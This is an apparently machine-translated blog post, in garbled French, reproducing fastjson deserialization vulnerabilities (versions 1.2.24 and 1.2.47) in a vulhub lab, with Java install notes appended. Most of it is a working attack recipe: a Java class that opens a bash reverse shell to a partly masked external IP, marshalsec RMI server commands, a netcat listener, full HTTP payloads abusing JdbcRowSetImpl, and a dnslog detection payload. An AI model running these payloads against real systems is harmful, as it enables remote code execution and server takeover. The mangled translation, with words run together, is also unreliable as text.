当前位置:网站首页>Réplication de vulnérabilité - désrialisation fastjson
Réplication de vulnérabilité - désrialisation fastjson
2022-07-07 08:10:00 【_ Bar _ S1mple】
Table des matières
Description de la vulnérabilité
Exploitation des vulnérabilités
FastjsonDétection des vulnérabilités
Description de la vulnérabilité
fastjsonOffreautotypeFonction,Dans le processus de demande,Nous pouvons modifier le paquet de demande [email protected] de,Pour désérialiser au type spécifié,EtfastjsonLes propriétés de la classe sont définies et acquises lors de la désrialisation,S'il y a des méthodes malveillantes dans la classe,Cela peut causer des problèmes comme l'exécution du Code.
Replay of vulnerability
L'environnement de vulnérabilité ici utilise principalementvulhubLes deux.fastjsonConstruction de vulnérabilités,Accès après la construction8090Le port apparaît comme suit
Exploitation des vulnérabilités
Nous avons besoin devpsOuvrez unRMIAppel de serviceclassDocumentation,D'abord, nous créonstest.java Pour rebondir shell,Utilisez les commandesjavac test.java
Compilation Buildtest.class( Tout l'environnement expérimental est basé sur java8Sur la base de)
import java.lang.Runtime;
import java.lang.Process;
public class test {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/59.110.xx.xx/8002 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
AidemarshalsecProjet ouvertrmiServices,Écouter9999Port,Et faire charger la classe distantetest.class
Nous devons d'abord compiler la construction marshalsec-0.0.3-SNAPSHOT-all.jar
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests
Commencez par unhttp Le service est facile à charger test.class
# python2
python2 -m SimpleHTTPServer
# python3
python3 -m http.server
Et ensuite nous allons commencer RMISurveillance du service9999Port
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://59.110.xx.xx:8000/#test" 9999
Le serveur local écoute le port dans le fichier
nc -nvlp xxxx
Toutes les opérations ci - dessus sont effectuées sur le même serveur
fastjson 1.2.24
POST / HTTP/1.1
Host: 139.196.xx.xx:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://59.110.xx.xx:9999/Test",
"autoCommit":true
}
}
fastjson 1.2.47
POST / HTTP/1.1
Host: 139.196.xx.xx:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://59.110.xx.xx:9999/test",
"autoCommit":true
}
}
Annexe
FastjsonDétection des vulnérabilités
Inhttp://dnslog.cn/Générer un nom de domaine au hasard,Et ensuite construirepayload
{"@type":"java.net.InetAddress","val":"dsunaw.dnslog.cn"}
Oui.payload Envoyer dans le corps de la demande ,Sidnslog Un enregistrement existe fastjsonVulnérabilité
Installationjava8
Télécharger l'adresse:https://github.com/frekele/oracle-java/releases
Téléchargerjdk-8u221-linux-x64.tar.gz
OR
sudo apt-get install openjdk-8-jdk
Désinstaller
# Voir l'installationOpenJDKSac
dpkg --list | grep -i jdk
# DésinstallerOpenJDKPaquets connexes
apt-get purge openjdk-*
# Vérifiez tous les OpenJDK Si tous les paquets ont été désinstallés
dpkg --list | grep -i jdk
Installation
# Placer le paquet compressé sur/opt/javaSous la table des matières
mv jdk-8u212-linux-x64.tar.gz /opt/java
# Décompresser
tar -zxvf jdk--8u212-linux-x64.tar.gz
# Configurer les variables d'environnement
Modifier/etc/profileDocumentation
vim /etc/profile
Ajouter les informations suivantes à la fin du texte
export JAVA_HOME=/opt/java/jdk1.8.0_212
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:${PATH}
# FairejavaEfficacité environnementale
source /etc/profile
# Voir si l'installation a réussi
java -version
边栏推荐
- Topic not received? Try this
- Network learning (III) -- highly concurrent socket programming (epoll)
- Who has docker to install MySQL locally?
- 【数字IC验证快速入门】14、SystemVerilog学习之基本语法1(数组、队列、结构体、枚举、字符串...内含实践练习)
- Jmeter 的使用
- Paddlepaddle 29 dynamically modify the network structure without model definition code (relu changes to prelu, conv2d changes to conv3d, 2D semantic segmentation model changes to 3D semantic segmentat
- Myabtis_Plus
- Linux server development, MySQL cache strategy
- Roulette chart 2 - writing of roulette chart code
- The charm of SQL optimization! From 30248s to 0.001s
猜你喜欢
快解析内网穿透为文档加密行业保驾护航
Interactive book delivery - signed version of Oracle DBA work notes
Quick analysis of Intranet penetration helps the foreign trade management industry cope with a variety of challenges
这5个摸鱼神器太火了!程序员:知道了快删!
LeetCode简单题之判断一个数的数字计数是否等于数位的值
运放电路的反馈电阻上并联一个电容是什么作用
Implementation of replacement function of shell script
[quickstart to Digital IC Validation] 15. Basic syntax for SystemVerilog Learning 2 (operator, type conversion, loop, Task / Function... Including practical exercises)
【數字IC驗證快速入門】15、SystemVerilog學習之基本語法2(操作符、類型轉換、循環、Task/Function...內含實踐練習)
Real time monitoring of dog walking and rope pulling AI recognition helps smart city
随机推荐
Linux server development, redis protocol and asynchronous mode
Find the mode in the binary search tree (use medium order traversal as an ordered array)
基于Pytorch 框架手动完成线性回归
ROS bridge notes (05) - Carla_ ackermann_ Control function package (convert Ackermann messages into carlaegovehiclecontrol messages)
json 数据展平pd.json_normalize
Linux server development, MySQL cache strategy
Chip information website Yite Chuangxin
【数字IC验证快速入门】15、SystemVerilog学习之基本语法2(操作符、类型转换、循环、Task/Function...内含实践练习)
芯片 設計資料下載
Minimum absolute difference of binary search tree (use medium order traversal as an ordered array)
Myabtis_Plus
漏洞复现-Fastjson 反序列化
Real time monitoring of dog walking and rope pulling AI recognition helps smart city
【数字IC验证快速入门】11、Verilog TestBench(VTB)入门
Dedecms collects content without writing rules
[step on the pit series] H5 cross domain problem of uniapp
面试题(CAS)
Notes on PHP penetration test topics
ROS Bridge 笔记(05)— carla_ackermann_control 功能包(将Ackermann messages 转化为 CarlaEgoVehicleControl 消息)
Network learning (II) -- Introduction to socket